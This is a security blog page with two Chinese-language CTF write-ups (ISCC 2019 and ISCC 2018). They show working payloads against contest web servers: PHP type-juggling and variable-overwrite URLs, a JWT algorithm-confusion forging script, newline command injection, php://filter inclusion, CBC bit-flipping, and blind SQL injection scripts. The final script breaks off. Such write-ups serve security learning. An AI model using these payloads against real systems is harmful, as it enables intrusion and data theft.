iscc2018 – ChaBug安全

ISCC 2019部分writeup

Y4er — Sat, 06 Jul 2019 17:23:37 +0000

web1

题目地址：http://39.100.83.188:8002/

删掉cookie和code字段提示密码错误

burp爆破3位数字

web2

题目地址: http://39.100.83.188:8001/

<?php

error_reporting(0);

require ‘flag.php’;

$value = $_GET[‘value’];

$password = $_GET[‘password’];

$username = ”;

for ($i = 0; $i < count($value); ++$i) {

if ($value[$i] > 32 && $value[$i] < 127) unset($value);

else $username .= chr($value[$i]);

if ($username == ‘w3lc0me_To_ISCC2019’ && intval($password) < 2333 && intval($password + 1) > 2333) {

echo ‘Hello ‘.$username.‘!’, ‘
’, PHP_EOL;

echo $flag, ‘

’;

}

highlight_file(__FILE__);

要求满足

username=’w3lc0me_To_ISCC2019′
输入的vaule不在ascii码可见范围内
intval($password) < 2333 && intval($password + 1) > 2333

考点在于弱类型和类型转换

查阅chr()相关函数

Note that if the number is higher than 256, it will return the number mod 256.

For example :

chr(321)=A because A=65(256)

chr()自动mod256

那么构造我们的脚本生成payload

$payload = ‘w3lc0me_To_ISCC2019’;

$payload1 = ”;

for ($i=0; $i<strlen($payload); $i++){

// echo $username1[$i].'
’;

$payload1.= ‘&value[]=’.(256+intval(ord($payload[$i])));

}

echo $payload1;

password就用进制绕过

2334的hex是0x91e

1 2	echo intval(‘0x91e’); //0 echo intval(‘0x91e’+1); //2335

最后的payload

1	http://39.100.83.188:8001/?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=0x91e

web3

http://39.100.83.188:8065/

title提示二次注入，注入点发生在注册的地方。

注册用户名为admin'#，然后修改密码，用修改后的密码登录admin账号即可拿到flag

重新写文章的用户名被注册了，我在这注册admin'#

修改密码为a

登录admin用户

web4

http://39.100.83.188:8066/ 源代码

error_reporting(0);

include(“flag.php”);

$hashed_key = ‘ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a’;

$parsed = parse_url($_SERVER[‘REQUEST_URI’]);

if(isset($parsed[“query”])){

$query = $parsed[“query”];

$parsed_query = parse_str($query);

if($parsed_query!=NULL){

$action = $parsed_query[‘action’];

}

if($action===“auth”){

$key = $_GET[“key”];

$hashed_input = hash(‘sha256’, $key);

if($hashed_input!==$hashed_key){

die(“”);

}

echo $flag;

}

}else{

show_source(__FILE__);

}?>

通读代码，要求

设置query
action=auth
$hashed_input要等于$hashed_key

发现$parsed_query = parse_str($query);存在变量覆盖

先说下parse_str为什么会产生变量覆盖，举例

$a = ‘a’;

$parsed = parse_url($_SERVER[‘REQUEST_URI’]);

print_r($parsed[‘query’]);

$parsed_query = parse_str($parsed[‘query’]);

print_r($a);

如果你访问的是http://127.0.0.1/1.php?query=&a=b，那么会导致$a的值被覆盖为b，因为parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。

那么再来看这道题就比较明朗，最关键的在于$hashed_input要等于$hashed_key，那么我们构造payload

1	http://39.100.83.188:8066/?query=&hashed_key=ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb&action=auth&key=a

将hashed_key的值覆盖为字符串a加密的sha256，然后此时再传入key=a这样满足条件即输出flag{7he_rea1_f1@g_15_4ere}

web6

题目地址: http://39.100.83.188:8053/

查看源代码中出现接口，http://39.100.83.188:8053/static/js/common.js

发现一段疑似公钥加密方式的代码，先记住

function getpubkey(){

get the pubkey for test

/pubkey/{md5(username+password)}

}

提示只有admin可以看到信息，登录注册，抓包发现有header中多了

1	Authorization: iscc19 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY2h1eXUiLCJwcml2Ijoib3RoZXIifQ.V9XN_nMg–xQ1rufh21aCmEwm56yf__B0AGTXyWcEEO9Xdz8bhouh6waZfuaQhHM6VSHqiQEAuYE67JaCgnj9k5hyRavU4gkf1DzVexTJtC9qhcD8tzPOsxCp8KtU96Czln1mSDn03siU9rEQ1vzUtU68R1vIk6tIxTr–tzeKu4k

考点应该是jwt(Json Web Token攻击)，加解密地址https://jwt.io/

jwt解码后分为3个部分，由三个点（.）分隔

分别为：

Header

Payload

Signature

解密下iscc19后面的那段

算法

{

“alg”: “RS256”,

“typ”: “JWT”

}

payload

{

“name”: “chuyu”,

“priv”: “other”

}

具体的攻击原理我贴一段百度的。

我们知道JWT的header部分中，有签名算法标识alg

而alg是用于签名算法的选择，最后保证用户的数据不被篡改。

但是在数据处理不正确的情况下，可能存在alg的恶意篡改

例如由于网站的不严谨，我们拿到了泄露的公钥pubkey

我们知道如果签名算法为RS256，那么会选择用私钥进行签名，用公钥进行解密验证

假设我们只拿到了公钥，且公钥模数极大，不可被分解，那么如何进行攻击呢？

没有私钥我们是几乎不可能在RS256的情况下篡改数据的，因为第三部分签名需要私钥，所以我们可以尝试将RS256改为HS256

此时即非对称密码变为对称加密

我们知道非对称密码存在公私钥问题

而对称加密只有一个key

此时如果以pubkey作为key对数据进行篡改，则会非常简单，而如果后端的验证也是根据header的alg选择算法，那么显然正中下怀。

首先我们要拿到公钥/pubkey/{md5(username+password)}也就是这个链接，对于我的用户名和密码都是chuyu，那么应该是这样的http://39.100.83.188:8053/pubkey/93a18e397fc3beb55420bf4656b18720

拿到

1	{“pubkey”:“—–BEGIN PUBLIC KEY—–\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n—–END PUBLIC KEY—–“,“result”:true}

由于公钥有时可以被攻击者获取到，所以攻击者可以修改header中算法为HS256，然后使用RSA公钥对数据进行签名。后端代码会使用RSA公钥+HS256算法进行签名验证。即更改算法为HS256，此时即不存在公钥私钥问题，因为对称密码算法只有一个key 此时即我们可以任意访问的pubkey 故此我立刻写出了构造脚本

import jwt

public = ”‘—–BEGIN PUBLIC KEY—–\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n—–END PUBLIC KEY—–‘”

print jwt.encode({“name”: “chuyu”,“priv”: “admin”}, key=public, algorithm=‘HS256’)

将priv改为admin，输出

1	eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY2h1eXUiLCJwcml2IjoiYWRtaW4ifQ.Moa94NN1yEun6lmsEaQeaMGnUt0X_b_McQWhSSe7O_M

ps:jwt包应该这样安装pip2 install pyjwt

报错'The specified key is an asymmetric key or x509 certificate and'修改/usr/local/lib/python2.7/dist-packages/jwt/algorithms.py的151行prepare_key()为如下

def prepare_key(self, key):

key = force_bytes(key)

return key

然后输出eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY2h1eXUiLCJwcml2IjoiYWRtaW4ifQ.Moa94NN1yEun6lmsEaQeaMGnUt0X_b_McQWhSSe7O_M，修改头为这个访问/list拿到admin的信息

访问拿到flag

隐藏的信息

8进制转十进制，然后base64解密。直接上解密脚本

$code=‘0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113’;

$code= explode(‘ ‘,$code);

//print_r($code);

echo ‘
’;

foreach ($code as $value){

$value=octdec($value);

echo chr($value);

}

V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K

解密后

Well done!

Flag: ISCC{N0_0ne_can_st0p_y0u}

Welcome

下载下来是无后缀文件，加zip后缀，解压出welcome.txt

蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條戶囗萇條戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條戶囗萇條戶囗萇條戶囗萇條戶囗萇條蓅烺計劃洮蓠朩暒戶囗萇條

看到这个我是一脸懵逼，经大佬提示明白为二进制给出脚本

with open(“Welcome.txt”,“r”) as f:

s = f.read().split(” “)

z = 0

print(s)

while True:

try:

ss = “”

for i in range(8):

#print(s[z+i])

if “囗” in s[z+i]:

ss = ss+“1”

else :

ss = ss + “0”

print(chr(int(ss,2)),end=“”)

z = z +8

except :

break

#print(int(ss))

倒立屋

IsCc_2019反转9102_cCsI提交

Keyes’ secret

RFVGYHNWSXCDEWSXCVWSXCVTGBNMJUY,WSXZAQWDVFRQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVT,QWERTYTRFVBGRDXCVBNBVCXSWERFTYUIOJMTGBNMJUMNBVCDRTGHUWSXCDEQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYTRFVGWSXCVGRDXCVBCVGREDQWERTY(TRFVBTYUIOJMTRFVG),QWERTYGRDXCVBQWERTYTYUIOJMEFVTNBVCXSWERFWSXCDEQWERTYTGBNMJUYTRFVGQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMTGBNMJUYIUYHNBVNBVCXSWERFTGBNMJUYMNBVCDRTGHUTYUIOJM,QWERTYWSXIUYHNBVQWERTYGRDXCVBQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVTQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFWSXCDETYUIOJMWSXTYUIOJMWSXTGBNMJUYZAQWDVFR.QWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYTGBNMJUIUYHNBVTGBNMJUGRDXCVBWSXCVWSXCVEFVTQWERTYWSXCFEWSXCDEIUYHNBVWSXCVGREDZAQWDVFRWSXCDEWSXCFEQWERTYTYUIOJMTGBNMJUYQWERTYIUYHNBVWSXCDEMNBVCDRTGHUEFVGYWSXCDEQWERTYGRDXCVBIUYHNBVQWERTYGRDXCVBZAQWDVFRQWERTYWSXCDEWSXCFETGBNMJUTRFVBGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYWSXCDERGNYGCWSXCDEMNBVCDRTGHUTRFVBWSXIUYHNBVWSXCDEQWERTYTYUIOJMTGBNMJUYQWERTYCVGREDWSXEFVGYWSXCDEQWERTYNBVCXSWERFGRDXCVBMNBVCDRTGHUTYUIOJMWSXTRFVBWSXNBVCXSWERFGRDXCVBZAQWDVFRTYUIOJMIUYHNBVQWERTYWSXCDERGNYGCNBVCXSWERFWSXCDEMNBVCDRTGHUWSXWSXCDEZAQWDVFRTRFVBWSXCDEQWERTYWSXZAQWDVFRQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXZAQWDVFRCVGREDQWERTYGRDXCVBQWERTYXSWEFTYHNGRDXCVBTRFVBRFVGYHNWSXZAQWDVFRWSXCDE,QWERTYGRDXCVBIUYHNBVQWERTYEFVGYWDCFTWSXCDEWSXCVWSXCVQWERTYGRDXCVBIUYHNBVQWERTYTRFVBTGBNMJUYZAQWDVFRWSXCFETGBNMJUTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYTYUIOJMTGBNMJUYQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYIUYHNBVTGBNMJUYMNBVCDRTGHUTYUIOJMQWERTYTGBNMJUYTRFVGQWERTYGRDXCVBTYUIOJMTYUIOJMGRDXCVBTRFVBQAZSCEIUYHNBVQWERTYTRFVGTGBNMJUYTGBNMJUZAQWDVFRWSXCFEQWERTYWSXZAQWDVFRQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBWSXCVQWERTYEFVGYWDCFTTGBNMJUYMNBVCDRTGHUWSXCVWSXCFEQWERTY(WSX.WSXCDE.,QWERTYYHNMKJTGBNMJUCVGREDQWERTYYHNMKJTGBNMJUYTGBNMJUZAQWDVFRTYUIOJMEFVTQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNIUYHNBVQWERTYWSXZAQWDVFRQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTRFVGWSXCDEIUYHNBVIUYHNBVWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYIUYHNBVWSXCDETYUIOJMTYUIOJMWSXZAQWDVFRCVGREDIUYHNBV).QWERTYRFVGYHNWSXCDEMNBVCDRTGHUWSXCDEQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYEFVTTGBNMJUYTGBNMJUMNBVCDRTGHUQWERTYTRFVGWSXCVGRDXCVBCVGRED{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}QWERTYMNBVCDRTGHUWSXCDEEFVGYWSXCDEMNBVCDRTGHUIUYHNBVWSXCDE–WSXCDEZAQWDVFRCVGREDWSXZAQWDVFRWSXCDEWSXCDEMNBVCDRTGHUWSXZAQWDVFRCVGRED,QWERTYZAQWDVFRWSXCDETYUIOJMEFVGYWDCFTTGBNMJUYMNBVCDRTGHUQAZSCEQWERTYIUYHNBVZAQWDVFRWSXTRFVGTRFVGWSXZAQWDVFRCVGRED,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTYUIOJMTGBNMJUYTRFVBTGBNMJUYWSXCVQWERTYGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBV,QWERTYIUYHNBVEFVTIUYHNBVTYUIOJMWSXCDEXSWEFTYHNQWERTYGRDXCVBWSXCFEXSWEFTYHNWSXZAQWDVFRWSXIUYHNBVTYUIOJMMNBVCDRTGHUGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFR,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNXSWEFTYHNWSXZAQWDVFRCVGRED,QWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYGRDXCVBWSXCVWSXCVQWERTYIUYHNBVQAZSCEWSXWSXCVWSXCVIUYHNBVQWERTYEFVGYWDCFTRFVGYHNWSXTRFVBRFVGYHNQWERTYRFVGYHNGRDXCVBEFVGYWSXCDEQWERTYYHNMKJWSXCDEWSXCDEZAQWDVFRQWERTYMNBVCDRTGHUWSXCDEQAZXCDEWVTGBNMJUWSXMNBVCDRTGHUWSXCDEWSXCFEQWERTYYHNMKJEFVTQWERTYNBVCXSWERFMNBVCDRTGHUWSXTGBNMJUYMNBVCDRTGHUQWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBTYUIOJMQWERTYWSXCFEWSXCDETRFVGQWERTYTRFVBTGBNMJUYZAQWDVFR.

键盘密码参考https://ctf-wiki.github.io/ctf-wiki/crypto/classical/others/#_23

解密脚本

STR = STR.replace(“WSXCDE”,‘e’)

STR = STR.replace(“RFVGYHN”,‘h’)

STR = STR.replace(“WSXCV”,‘l’)

STR = STR.replace(“TGBNMJUY”,‘o’)

STR = STR.replace(“TGBNMJU”,‘u’)

STR = STR.replace(“GRDXCVB”,‘a’)

STR = STR.replace(“CVGRED”,‘g’)

STR = STR.replace(“QWERTYTRFVG”,‘f’)

STR = STR.replace(“WSXCFE”,‘d’)

STR = STR.replace(“IUYHNBV”,‘s’)

STR = STR.replace(“QWERTY”,‘ ‘)

STR = STR.replace(“TRFVB”,‘c’)

STR = STR.replace(“QAZSCE”,‘k’)

STR = STR.replace(“NBVCXSWERF”,‘p’)

STR = STR.replace(“MNBVCDRTGHU”,‘r’)

STR = STR.replace(“WSX”,‘i’)

STR = STR.replace(“EFVT”,‘y’)

STR = STR.replace(“YHNMKJ”,‘b’)

STR = STR.replace(“ZAQWDVFR”,‘n’)

STR = STR.replace(‘XSWEFTYHNXSWEFTYHN’,‘m’)

STR = STR.replace(‘EFVGYWDCFT’,‘w’)

STR = STR.replace(‘TYUIOJM’,‘t’)

STR = STR.replace(‘QAZXCDEWV’,‘t’)

STR = STR.replace(‘XSWEFTYHN’,‘m’)

STR = STR.replace(‘EFVGY’,‘v’)

STR = STR.replace(‘RGNYGC’,‘x’)

STR = STR.replace(‘TRFVG’, ‘f’)

print(STR).upper()

解出来

HELLO,IN COMPUTER SECURITY, CAPTURE THEFLAG (CTF), A TYPE OF CRYPTOSPORT, IS A COMPUTER SECURITY COMPETITION. CTF CONTESTS ARE USUALLY DESLGREDNED TO SERVE AS AN EDUCATIONAL EXERCISE TO GIVE PARTICIPANTS EXPERIENCE IN SECURING A MACHINE, AS WELL AS CONDUCTING AND REACTING TO THE SORT OF ATTACKSFOUND IN THE REAL WORLD (I.E., BUG BOUNTY PROGRAMS IN PROFESSIONAL SETTINGS). HERE ARE YOURFLAG{ISCC KEYBOARD CIPHER} REVERSE–ENGINEERING, NETWORK SNIFFING, PROTOCOL ANALYSIS, SYSTEM ADMINISTRATION, PROGRAMING, AND CRYPTANALYSIS ARE ALL SKILLS WHICH HAVE BEEN RETUIRED BY PRIOR CTF CONTESTS AT DEF CON.

FLAG{ISCC KEYBOARD CIPHER}

ps:我真的觉得加密好烦

Aesop’s secret

给了一张gif图片用ps打开发现

stegsolve file format

1	U2FsdGVk X19QwGkc gD0fTjZx gijRzQOG bCWALh4s RDec2w6x sY/ux53V uj/AMZBD J87qyZL5 kAf1fmAH 4Oe13Iu4 35bfRBuZ gHpnRjTB n5+xsDHO NiR3t0+O a8yG/tOK JMNUaued vMyN4v4Q KiFunw==

aes加密密匙是ISCC也就是图片中的

两次aes解密后flag{DugUpADiamondADeepDarkMine}

他们能在一起吗？

送分题扫码得出base64UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q= 解密后PASS{0K_I_L0V3_Y0u!}

然后图片分离压缩包，解压密码是上面那个，解压后拿到flag

Reverse answer to everything

sha1 得到了一个神秘的二进制文件。寻找文件中的flag，解锁宇宙的秘密。注意：将得到的flag变为ISCC{flag}形式提交。

拖到ida中，main函数f5。

not_the_flag(v4)跟进

if ( a1 == 42 )

puts(“Cipher from Bill \nSubmit without any tags\n#kdudpeh”);

else

puts(“YOUSUCK”);

return 0LL;

将kdudpehsha1加密后就是flag，注意格式。

简单Python

给了个pyc文件，用uncompyle反编译下

最好使用Linux pip安装 pip install uncompyle

uncompyle6 —help查看帮助

uncompyle6 models.pyc > models.py 将models.pyc反编译成py文件

uncompile –o . *.pyc 将当前文件夹中所有的pyc文件反编译成后缀名为.pyc_dis的源文件

uncompyle6 pyc.pyc

import base64

def encode(message):

s = ”

for i in message:

x = ord(i) ^ 32

x = x + 16

s += chr(x)

return base64.b64encode(s)

correct = ‘eYNzc2tjWV1gXFWPYGlTbQ==’

flag = ”

print ‘Input flag:’

flag = raw_input()

if encode(flag) == correct:

print ‘correct’

else:

print ‘wrong’

自定义了加密方法encode

给出我的逆向解密脚本

import base64

def encode(message):

s = ”

for i in message:

s += chr(ord(i) ^ 32+ 16)

return base64.b64encode(s)

def decode(code):

res = ”

s = base64.b64decode(code)

for i in s:

res+=chr(ord(i) ^32+16)

return res

print encode(‘A’)

print “——“

print decode(‘eYNzc2tjWV1gXFWPYGlTbQ==’)

脚本写的像屎，将就看，解密出来win和Linux的编码不一样，显示都不全，最后flag还得靠猜ISCC{simple_pyc}

Rev02

.net程序放到dnspy中

ISCC2018 writeup(web)

s1ye — Fri, 25 May 2018 12:08:55 +0000

比较数字大小

F12 修改maxlength为4

web01

strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言在==比较的时候，如果有数值的话会先将字符串转换为数值在进行比较，而NULL转换成数值为0，所以绕过题目限制。

payload: get: /?password[]=1

本地的诱惑

右键查看源代码即可。

你能跨过去吗？

复制callback参数内容 base64解码得到复制key的内容提交得到flag；

一切都是套路

访问/index.php.txt得到源代码:

变量覆盖漏洞($$):

get: ?_200=flag

post: flag=x

你能绕过吗

更改f参数的内容发现会报错，猜测是文件包含漏洞

用php伪协议来读取flag.经过测试发现题目过滤了php 所以用PHP://filter/convert.base64-encode/resource=index,解码读到flag。

web02

burp截断利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器得到flag。

请ping我的ip 看你能Ping通吗？

根据题目要求 ping 猜测是命令注入漏洞，过滤了; & |等特殊符号利用%0a(换行)进行绕过

用 ls / 命令查看目录

最后在 /home目录下发现flag payload: /?ip=127.0.0.1%0a cat /home/flag得到flag

Please give me username and password!

/index.php.txt 页面泄漏源代码，利用php弱类型进行绕过;

?username[]=0&password=1e9

SQL注入的艺术

点击个人信息页面,宽字节注入，可以盲注也可以联合查询注入。当时写了个脚本盲注

import re
import requests
cname = ''
flag = ''
url = 'http://118.190.152.202:8015/index.php?id=1%df'
payload = "' and ascii(substr(({p}),{m},1))={n}%23"
list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
for  i in range(1,46):
    for ss in list:
        p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
        u = requests.get(url+p)
        if "head.jpg" in u.content:
            cname += chr(ss)
            print cname
            break
for i in range(1,23):
    for l in list:
        pp = payload.format(p='select flag from admins',m=i,n=l)
        u = requests.get(url+pp)
        if "head.jpg" in u.content:
            flag += chr(l)
            print flag
            break

试试看

/show.php?img=1.jpg 复制图片地址文件包含漏洞。

由于不包含.jpg文件提示File not found！ resource可以包含两个文件所以绕过

payload: php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码得到flag。

Collide

直接给出源代码，由于key的值不知道但是我们知道key的长度为46，利用hash长度扩展攻击

编码后的username: guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb

Only admin can see flag

cbc字节翻转攻击

/index.txt看到源代码搜了一下发现cbc字节翻转攻击附带脚本。

import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"admiN";
#s:8:"password";s
#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(newcipher))
jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
    newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) 
print urllib.quote(base64.b64encode(newiv))

先用admiN 123456登录

在地址栏处回车(不要刷新，否则cipher 和iv会刷新)并用burp抓包。

将iv 和 cipher放入脚本中得到新的 cipher 修改cookie中的 cipher 得到报错信息中的 cipher。

复制报错信息中的cipher到脚本中运行得到新的iv 修改iv为新的iv 且cipher为第一次脚本运行得到的cipher。得到flag；

为什么这么简单啊

根据提示利用 xff ip地址伪造和referer 即可进入第二关。

右键查看源码，发现可疑js文件，浏览找到密码 base64解码提交得到flag。

ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
解码得到: xinyiji.com

php是世界上最好的语言

用户名随便输，密码用php弱类型进行绕过 :QNKCDZO（可以看我之前写过的php知识点总结）

点击得到

利用全局变量打印出$flag变量即可。

Sqli

题目说的很明确就是注入了。经过测试发现是盲注于是写了个脚本跑出密码登录。

解密: u4g009

提示在另一个字段，(真他妈坑啊)，这里直接联合查询注入就可以了。

顺便附上我写的垃圾盲注脚本

import requests
tname = ''
						
pwd = ''
						
url = 'http://118.190.152.202:8011/index.php'
						
payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
						
fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz')
# for i in range(1,10):
#     for k in fuzz:
#         p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
#         u = requests.post(url,data = {'username':p,'password':'admin'})
#         if 'normal' in u.content:
#             tname += k
#             print tname
#             break
					
for i in range(1,33):

					for k in fuzz:
        p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
        u = requests.post(url,data = {'username':p,'password':'admin'})

					if
							'normal'
									in u.content:
